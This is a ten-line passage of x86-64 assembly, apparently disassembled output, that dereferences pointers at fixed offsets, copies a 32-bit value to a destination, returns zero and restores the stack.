mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rax]
mov dword [rcx], eax
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret